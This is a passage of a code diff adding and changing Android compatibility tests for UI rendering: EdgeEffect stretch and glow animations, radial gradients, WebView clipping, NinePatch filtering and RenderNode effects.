+        edgeEffect.setType(EdgeEffect.TYPE_STRETCH);
+        edgeEffect.onPullDistance(1f, 1f);
+        edgeEffect.onAbsorb(100);
+        edgeEffect.onRelease();
+
+        RenderNode node = new RenderNode("");
+        RecordingCanvas canvas = node.beginRecording();
+        edgeEffect.draw(canvas);
+        node.endRecording();
+    }
+
+    @Test
+    public void testInvalidPullDistanceDoesNotCrash() {
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setType(EdgeEffect.TYPE_STRETCH);
+        // Verify that bad inputs to onPull do not crash
+        edgeEffect.onPull(Float.NaN, Float.NaN);
+
+        edgeEffect.setSize(TEST_WIDTH, TEST_HEIGHT);
+        RenderNode node = new RenderNode("");
+        node.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        RecordingCanvas canvas = node.beginRecording();
+
+        edgeEffect.draw(canvas);
+        node.endRecording();
+    }
+
+    @Test
+    public void testAbsorbThenDrawDoesNotCrash() {
+        MockVsyncHelper.runOnVsyncThread(() -> {
+            EdgeEffect edgeEffect = new EdgeEffect(getContext());
+            edgeEffect.setType(EdgeEffect.TYPE_STRETCH);
+            edgeEffect.onPullDistance(1f, 1f);
+            edgeEffect.onAbsorb(100);
+            edgeEffect.onRelease();
+
+            nextFrame();
+
+            edgeEffect.setSize(10, 10);
+            RenderNode node = new RenderNode("");
+            node.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+            RecordingCanvas canvas = node.beginRecording();
+            Paint paint = new Paint();
+            paint.setColor(Color.RED);
+            canvas.drawRect(0f, 0f, TEST_WIDTH, TEST_HEIGHT, paint);
+
+            canvas.rotate(90, TEST_WIDTH / 2f, TEST_HEIGHT / 2f);
+            edgeEffect.draw(canvas);
+            node.endRecording();
+        });
+    }
+
+    /**
+     * When a TYPE_STRETCH is used, a held pull should not retract.
+     */
+    @Test
+    @LargeTest
+    public void testStretchPullAndHold() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_STRETCH);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // We must wait until the EdgeEffect would normally start receding (167 ms)
+        sleepAnimationTime(200);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // A glow effect would start receding now, so let's be sure it doesn't:
+        sleepAnimationTime(200);
+        edgeEffect.draw(canvas);
+
+        // It should not be updating now
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // Now let's release it and it should start animating
+        edgeEffect.onRelease();
+
+        sleepAnimationTime(20);
+
+        // Now that it should be animating, the draw should update the distance
+        edgeEffect.draw(canvas);
+
+        assertTrue(edgeEffect.getDistance() < 0.25f);
+    }
+
+    /**
+     * When a TYPE_GLOW is used, a held pull should retract after the timeout.
+     */
+    @Test
+    @LargeTest
+    public void testGlowPullAndHold() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_GLOW);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // We must wait until the EdgeEffect would normally start receding (167 ms)
+        sleepAnimationTime(200);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should start retracting now:
+        sleepAnimationTime(20);
+        edgeEffect.draw(canvas);
+        assertTrue(edgeEffect.getDistance() < 0.25f);
+    }
+
+    /**
+     * It should be possible to catch the stretch effect during an animation.
+     */
+    @Test
+    @LargeTest
+    public void testCatchStretchDuringAnimation() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_STRETCH);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+        edgeEffect.onRelease();
+
+        // Wait some time to be sure it is animating away.
+        long startTime = AnimationUtils.currentAnimationTimeMillis();
+        sleepAnimationTime(20);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should have started retracting. Now catch it.
+        float consumed = edgeEffect.onPullDistance(0f, 0.5f);
+        assertEquals(0f, consumed, 0f);
+
+        float distanceAfterAnimation = edgeEffect.getDistance();
+        assertTrue(distanceAfterAnimation < 0.25f);
+
+
+        sleepAnimationTime(50);
+
+        // There should be no change once it has been caught.
+        edgeEffect.draw(canvas);
+        assertEquals(distanceAfterAnimation, edgeEffect.getDistance(), 0f);
+    }
+
+    /**
+     * It should be possible to catch the glow effect during an animation.
+     */
+    @Test
+    @LargeTest
+    public void testCatchGlowDuringAnimation() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_GLOW);
+        edgeEffect.onRelease();
+
+        // Wait some time to be sure it is animating away.
+        long startTime = AnimationUtils.currentAnimationTimeMillis();
+        sleepAnimationTime(20);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should have started retracting. Now catch it.
+        float consumed = edgeEffect.onPullDistance(0f, 0.5f);
+        assertEquals(0f, consumed, 0f);
+
+        float distanceAfterAnimation = edgeEffect.getDistance();
+        assertTrue(distanceAfterAnimation < 0.25f);
+
+
+        sleepAnimationTime(50);
+
+        // There should be no change once it has been caught.
+        edgeEffect.draw(canvas);
+        assertEquals(distanceAfterAnimation, edgeEffect.getDistance(), 0f);
+    }
+
+    /**
+     * When an EdgeEffect with TYPE_STRETCH is drawn on a non-RecordingCanvas, the animation
+     * should immediately end.
+     */
+    @Test
+    public void testStretchOnBitmapCanvas() throws Throwable {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_STRETCH);
+        Bitmap bitmap = Bitmap.createBitmap(WIDTH, HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        edgeEffect.draw(canvas);
+        assertTrue(edgeEffect.isFinished());
+        assertEquals(0f, edgeEffect.getDistance(), 0f);
+    }
+
+    private EdgeEffect createEdgeEffectWithPull(int edgeEffectType) {
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setType(edgeEffectType);
+        edgeEffect.setSize(100, 100);
+        edgeEffect.onPullDistance(0.25f, 0.5f);
+        return edgeEffect;
+    }
+
+    /**
+     * This sleeps until the {@link AnimationUtils#currentAnimationTimeMillis()} changes
+     * by at least <code>durationMillis</code> milliseconds. This is useful for EdgeEffect because
+     * it uses that mechanism to determine the animation duration.
+     *
+     * @param durationMillis The time to sleep in milliseconds.
+     */
+    private void sleepAnimationTime(long durationMillis) throws Exception {
+        final long startTime = AnimationUtils.currentAnimationTimeMillis();
+        long currentTime = startTime;
+        final long endTime = startTime + durationMillis;
+        do {
+            Thread.sleep(endTime - currentTime);
+            currentTime = AnimationUtils.currentAnimationTimeMillis();
+        } while (currentTime < endTime);
+    }
+
     private interface AlphaVerifier {
         void verify(int oldAlpha, int newAlpha);
     }
@@ -209,6 +560,7 @@
             ArgumentCaptor<Paint> captor = ArgumentCaptor.forClass(Paint.class);
             EdgeEffect edgeEffect = new EdgeEffect(getContext());
             edgeEffect.setSize(200, 200);
+            edgeEffect.setType(EdgeEffect.TYPE_GLOW);
             initializer.initialize(edgeEffect);
             edgeEffect.draw(canvas);
             verify(canvas).drawCircle(anyFloat(), anyFloat(), anyFloat(), captor.capture());
@@ -244,4 +596,28 @@
         }));
     }
 
+    public static class CustomEdgeEffectView extends View {
+        public EdgeEffect edgeEffect;
+
+        public CustomEdgeEffectView(Context context) {
+            this(context, null);
+        }
+        public CustomEdgeEffectView(Context context, AttributeSet attrs) {
+            this(context, attrs, 0);
+        }
+
+        public CustomEdgeEffectView(Context context, AttributeSet attrs, int defStyleAttr) {
+            this(context, attrs, defStyleAttr, 0);
+        }
+
+        public CustomEdgeEffectView(
+                Context context,
+                AttributeSet attrs,
+                int defStyleAttr,
+                int defStyleRes
+        ) {
+            super(context, attrs, defStyleAttr, defStyleRes);
+            edgeEffect = new EdgeEffect(context, attrs);
+        }
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
index 3b48542..16b9315 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
@@ -105,10 +105,9 @@
 
     @Test
     public void testMediumBoldFont() {
-        // bold attribute on medium base font = black
         fontTestBody("sans-serif-medium",
                 Typeface.BOLD,
-                R.drawable.black1);
+                R.drawable.extrabold1);
     }
 
     @Test
@@ -122,7 +121,7 @@
     public void testMediumBoldItalicFont() {
         fontTestBody("sans-serif-medium",
                 Typeface.BOLD | Typeface.ITALIC,
-                R.drawable.blackitalic1);
+                R.drawable.extrabolditalic1);
     }
 
     @Test
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
index cc01598..3a1e6ec 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
@@ -16,11 +16,19 @@
 
 package android.uirendering.cts.testclasses;
 
+import static org.testng.Assert.assertThrows;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.LinearGradient;
+import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Point;
+import android.graphics.RadialGradient;
 import android.graphics.Shader;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
@@ -33,6 +41,7 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class GradientTests extends ActivityTestBase {
+
     @Test
     public void testAlphaPreMultiplication() {
         createTest()
@@ -61,4 +70,246 @@
                         0xffff0000
                 }, 20)); // Tolerance set to account for dithering and interpolation
     }
+
+    @Test
+    public void testRadialGradientWithFocalPoint() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    float centerX = width / 2f;
+                    float centerY = height / 2f;
+                    float radius = Math.min(width, height) / 2f;
+                    RadialGradient gradient = new RadialGradient(
+                            centerX - 10f,
+                            centerY - 10f,
+                            20f,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                    new SamplePointVerifier(
+                            new Point[]{
+                                    new Point(0, 0),
+                                    new Point(TEST_WIDTH - 1, 0),
+                                    new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                    new Point(0, TEST_HEIGHT - 1),
+                                    new Point(TEST_WIDTH / 2 - 10, TEST_HEIGHT / 2 - 10)
+                            },
+                            new int[] {
+                                    Color.CYAN, Color.CYAN, Color.CYAN, Color.CYAN, Color.RED
+                            }
+                    )
+            );
+    }
+
+    @Test
+    public void testRadialGradientSameStartEndCircles() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    float centerX = width / 2f;
+                    float centerY = height / 2f;
+                    float radius = Math.min(width, height) / 2f;
+
+                    RadialGradient gradient = new RadialGradient(
+                            centerX,
+                            centerY,
+                            radius,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new SamplePointVerifier(
+                                new Point[]{
+                                        new Point(0, 0),
+                                        new Point(TEST_WIDTH - 1, 0),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                        new Point(0, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT / 2),
+                                        new Point(TEST_WIDTH / 2, 1),
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT / 2),
+                                        new Point(0, TEST_HEIGHT / 2)
+                                },
+                                new int[] {
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED
+                                }
+                        )
+            );
+    }
+
+    @Test
+    public void testNegativeFocalRadiusThrows() {
+        assertThrows(IllegalArgumentException.class, () ->
+                new RadialGradient(
+                        0f,
+                        0f,
+                        -1f,
+                        10f,
+                        10f,
+                        10f,
+                        new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                        null,
+                        Shader.TileMode.CLAMP
+        ));
+    }
+
+    @Test
+    public void testMismatchColorsAndStopsThrows() {
+        assertThrows(IllegalArgumentException.class, () -> new RadialGradient(
+                0f,
+                0f,
+                10f,
+                10f,
+                10f,
+                10f,
+                new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                new float[] { 0.5f},
+                Shader.TileMode.CLAMP
+        ));
+    }
+
+    private Bitmap createRadialGradientGoldenBitmap() {
+        Bitmap srcBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas srcCanvas = new Canvas(srcBitmap);
+        Paint srcPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
+        srcPaint.setShader(new RadialGradient(
+                TEST_WIDTH / 2f,
+                TEST_HEIGHT / 2f,
+                TEST_WIDTH / 2f,
+                new int[] { Color.RED, Color.CYAN },
+                null,
+                Shader.TileMode.CLAMP
+        ));
+        srcCanvas.drawRect(0f, 0f, TEST_WIDTH, TEST_HEIGHT, srcPaint);
+        return srcBitmap;
+    }
+
+    @Test
+    public void testRadialGradientWithFocalPointMatchesRegularRadialGradient() {
+        Bitmap golden = createRadialGradientGoldenBitmap();
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+
+                    RadialGradient gradient = new RadialGradient(
+                            TEST_WIDTH / 2f,
+                            TEST_HEIGHT / 2f,
+                            0f,
+                            TEST_WIDTH / 2f,
+                            TEST_HEIGHT / 2f,
+                            TEST_WIDTH / 2f,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new GoldenImageVerifier(golden, new MSSIMComparer(0.99f)));
+    }
+
+    @Test
+    public void testZeroEndRadiusThrows() {
+        assertThrows(IllegalArgumentException.class, () ->
+                new RadialGradient(
+                        10f,
+                        10f,
+                        0, // invalid
+                        new long[] { Color.pack(Color.RED), Color.pack(Color.BLUE)},
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+    }
+
+    @Test
+    public void testNullColorsThrows() {
+        assertThrows(NullPointerException.class, () ->
+                new RadialGradient(
+                        10f,
+                        10f,
+                        10f,
+                        (long[]) null, // invalid
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+    }
+
+    @Test
+    public void testMatrixTransformation() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+
+                    float radius = TEST_WIDTH / 2f;
+                    float centerX = TEST_WIDTH / 2f;
+                    float centerY = TEST_HEIGHT / 2f;
+                    // Pass in the same parameters for the start and end circles
+                    // to get a similar result of drawing a circle which simplifies
+                    // comparison use cases for testing
+                    RadialGradient gradient = new RadialGradient(
+                            centerX,
+                            centerY,
+                            radius,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    Matrix matrix = new Matrix();
+                    matrix.postTranslate(radius, radius);
+                    gradient.setLocalMatrix(matrix);
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new SamplePointVerifier(
+                                new Point[]{
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT / 2),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT / 2 + 1),
+                                        new Point(TEST_WIDTH / 2 + 1, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH / 2 - 1, TEST_HEIGHT - 1)
+                                },
+                                new int[] {
+                                        Color.CYAN,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.CYAN
+                                }
+                        )
+            );
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
index 0f82370..d4c2549 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
@@ -483,4 +483,10 @@
             reader.close()
         }
     }
+
+    @Test
+    fun testSetNullSurface() {
+        HardwareRenderer().setSurface(null)
+        // yay we didn't crash, test over
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index f42b004..5cdfb75 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -623,16 +623,46 @@
 
     @LargeTest
     @Test
-    public void testWebViewWithLayerAndComplexClip() {
+    public void testWebViewOnHWLayerAndComplexAntiAliasedClip() {
         if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
             return; // no WebView to run test on
         }
+
         CountDownLatch hwFence = new CountDownLatch(1);
         createTest()
                 // golden client - draw a simple non-AA circle
                 .addCanvasClient((canvas, width, height) -> {
                     Paint paint = new Paint();
-                    paint.setAntiAlias(false);
+                    paint.setAntiAlias(true);
+                    paint.setColor(Color.BLUE);
+                    canvas.drawOval(0, 0, width, height, paint);
+                }, false)
+                // verify against solid color webview, clipped to its parent oval
+                .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+                    FrameLayout layout = view.requireViewById(R.id.circle_clip_frame_layout);
+                    WebView webview = view.requireViewById(R.id.webview);
+                    // Promote the webview onto its own layer
+                    webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                    WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+                    helper.loadData("<body style=\"background-color:blue\">");
+
+                }, true, hwFence)
+                .runWithComparer(new MSSIMComparer(0.98));
+    }
+
+    @LargeTest
+    @Test
+    public void testWebViewWithParentLayerAndComplexClip() {
+        if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            return; // no WebView to run test on
+        }
+
+        CountDownLatch hwFence = new CountDownLatch(1);
+        createTest()
+                // golden client - draw a simple AA circle
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setAntiAlias(true);
                     paint.setColor(Color.BLUE);
                     canvas.drawOval(0, 0, width, height, paint);
                 }, false)
@@ -646,6 +676,33 @@
                     helper.loadData("<body style=\"background-color:blue\">");
 
                 }, true, hwFence)
-                .runWithComparer(new MSSIMComparer(0.95));
+                // WebView is not on its own layer, so the parent clip may not be AA
+                .runWithComparer(new MSSIMComparer(0.93));
+    }
+
+    @LargeTest
+    @Test
+    public void testWebViewWithRRectClip() {
+        if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            return; // no WebView to run test on
+        }
+
+        CountDownLatch hwFence = new CountDownLatch(1);
+        createTest()
+                // golden client - draw an AA rounded rect
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setAntiAlias(true);
+                    paint.setColor(Color.BLUE);
+                    canvas.drawRoundRect(0, 0, width, height, ActivityTestBase.TEST_WIDTH / 4,
+                            ActivityTestBase.TEST_HEIGHT / 4, paint);
+                }, false)
+                // verify against solid color webview, which applies a rounded rect clip
+                .addLayout(R.layout.webview_canvas_rrect_clip, (ViewInitializer) view -> {
+                    WebView webview = view.requireViewById(R.id.webview_canvas_rrect_clip);
+                    WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+                    helper.loadData("<body style=\"background-color:blue\">");
+                }, true, hwFence)
+                .runWithComparer(new MSSIMComparer(0.90));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/NinePatchTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/NinePatchTests.kt
new file mode 100644
index 0000000..a190501
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/NinePatchTests.kt
@@ -0,0 +1,94 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import android.graphics.Bitmap
+import android.graphics.Canvas
+import android.graphics.ImageDecoder
+import android.graphics.Paint
+import android.graphics.Rect
+import android.graphics.NinePatch
+import android.uirendering.cts.R
+import android.uirendering.cts.bitmapcomparers.ExactComparer
+import android.uirendering.cts.testinfrastructure.ActivityTestBase
+import android.uirendering.cts.testinfrastructure.CanvasClient
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertFalse
+import kotlin.test.assertTrue
+
+@RunWith(AndroidJUnit4::class)
+class NinePatchTests : ActivityTestBase() {
+
+    class NinePatchCanvasClient(
+        private val ninepatch: NinePatch,
+        private val paint: Paint?
+    ) : CanvasClient {
+        override fun draw(canvas: Canvas, width: Int, height: Int) {
+            val scale = 6.0f
+            canvas.scale(scale, scale)
+            ninepatch.draw(canvas, Rect(0, 0, 15, 15), paint)
+        }
+    }
+
+    @Test
+    fun testNinePatchAlwaysFiltersInHW() {
+        val np = with(ImageDecoder.createSource(activity.resources, R.drawable.padding_0)) {
+            val bitmap = ImageDecoder.decodeBitmap(this)
+            NinePatch(bitmap, bitmap.ninePatchChunk)
+        }
+
+        val hw = true
+        with(createTest()) {
+            for (paint in arrayOf(null, Paint(), Paint().apply { isFilterBitmap = false })) {
+                addCanvasClientWithoutUsingPicture(NinePatchCanvasClient(np, paint), hw)
+            }
+            runWithComparer(ExactComparer())
+        }
+
+        np.bitmap.recycle()
+    }
+
+    @Test
+    fun testNinePatchRespectsFilterBitmapFlagInSW() {
+        val np = with(ImageDecoder.createSource(activity.resources, R.drawable.padding_0)) {
+            val bitmap = ImageDecoder.decodeBitmap(this) {
+                decoder, info, src ->
+                decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+            }
+            NinePatch(bitmap, bitmap.ninePatchChunk)
+        }
+
+        fun makeBitmap(paint: Paint?) = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT,
+            Bitmap.Config.ARGB_8888).apply {
+            val canvas = Canvas(this)
+            NinePatchCanvasClient(np, paint).draw(canvas, TEST_WIDTH, TEST_HEIGHT)
+        }
+
+        val filtered = makeBitmap(Paint())
+        val unfiltered = makeBitmap(Paint().apply { isFilterBitmap = false })
+        val noPaint = makeBitmap(null)
+
+        assertFalse(filtered.sameAs(unfiltered))
+        assertTrue(unfiltered.sameAs(noPaint))
+
+        for (bitmap in arrayOf(filtered, unfiltered, noPaint, np.bitmap)) {
+            bitmap.recycle()
+        }
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index 1c3f038..c38ff1c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -49,6 +49,22 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class PathClippingTests extends ActivityTestBase {
+    private static final String BLUE_RED_HTML =
+            "<html><head>"
+            + "    <style type=\"text/css\">"
+            + "        .container {"
+            + "            display: grid;"
+            + "            grid-template-columns: 50% 50%;"
+            + "            grid-template-rows: 100%;"
+            + "            margin: 0;"
+            + "        }"
+            + "    </style>"
+            + "</head><body class=\"container\">"
+            + "    <div style=\"background-color:blue\"></div>"
+            + "    <div style=\"background-color:red\"></div>"
+            + "</body></html>";
+
+
     // draw circle with hole in it, with stroked circle
     static final CanvasClient sTorusDrawCanvasClient = (canvas, width, height) -> {
         Paint paint = new Paint();
@@ -190,12 +206,12 @@
                 .runWithComparer(new MSSIMComparer(0.90));
     }
 
-    private ViewInitializer initBlueWebView(final CountDownLatch fence) {
+    private ViewInitializer initWebView(final CountDownLatch fence) {
         return view -> {
             WebView webview = (WebView)view.findViewById(R.id.webview);
             assertNotNull(webview);
             WebViewReadyHelper helper = new WebViewReadyHelper(webview, fence);
-            helper.loadData("<body style=\"background-color:blue\">");
+            helper.loadData(BLUE_RED_HTML);
         };
     }
 
@@ -208,18 +224,30 @@
         CountDownLatch hwFence = new CountDownLatch(1);
         CountDownLatch swFence = new CountDownLatch(1);
         createTest()
-                // golden client - draw a simple non-AA circle
+                // golden client - draw a non-AA circle. left half is blue and right half is red.
                 .addCanvasClient((canvas, width, height) -> {
                     Paint paint = new Paint();
                     paint.setAntiAlias(false);
+
+                    int halfWidth = width / 2;
+
+                    canvas.save();
                     paint.setColor(Color.BLUE);
+                    canvas.clipRect(0, 0, halfWidth, height);
                     canvas.drawOval(0, 0, width, height, paint);
+                    canvas.restore();
+
+                    canvas.save();
+                    paint.setColor(Color.RED);
+                    canvas.clipRect(halfWidth, 0, width, height);
+                    canvas.drawOval(0, 0, width, height, paint);
+                    canvas.restore();
                 }, false)
-                // verify against solid color webview, clipped to its parent oval
+                // verify against webview drawing blue and red rects, clipped to its parent oval
                 .addLayout(R.layout.circle_clipped_webview,
-                        initBlueWebView(hwFence), true, hwFence)
+                        initWebView(hwFence), true, hwFence)
                 .addLayout(R.layout.circle_clipped_webview,
-                        initBlueWebView(swFence), false, swFence)
+                        initWebView(swFence), false, swFence)
                 .runWithComparer(new MSSIMComparer(0.84f));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index fa44b78..87a01ba 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -21,17 +21,35 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Bitmap;
+import android.graphics.BlendMode;
+import android.graphics.BlendModeColorFilter;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorFilter;
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
+import android.graphics.LinearGradient;
 import android.graphics.Paint;
+import android.graphics.Point;
 import android.graphics.RecordingCanvas;
 import android.graphics.Rect;
+import android.graphics.RenderEffect;
 import android.graphics.RenderNode;
+import android.graphics.Shader;
+import android.graphics.drawable.Drawable;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.BlurPixelVerifier;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.RegionVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.FrameLayout;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -364,4 +382,506 @@
         renderNode.setCameraDistance(100f);
         assertEquals(100f, renderNode.getCameraDistance(), 0.0f);
     }
+
+    @Test
+    public void testBitmapRenderEffect() {
+        Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        bitmap.eraseColor(Color.BLUE);
+
+        final RenderNode renderNode = new RenderNode(null);
+        renderNode.setRenderEffect(RenderEffect.createBitmapEffect(bitmap));
+        renderNode.setPosition(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        {
+            Canvas recordingCanvas = renderNode.beginRecording();
+            // must have at least 1 drawing instruction
+            recordingCanvas.drawColor(Color.TRANSPARENT);
+            renderNode.endRecording();
+        }
+        createTest()
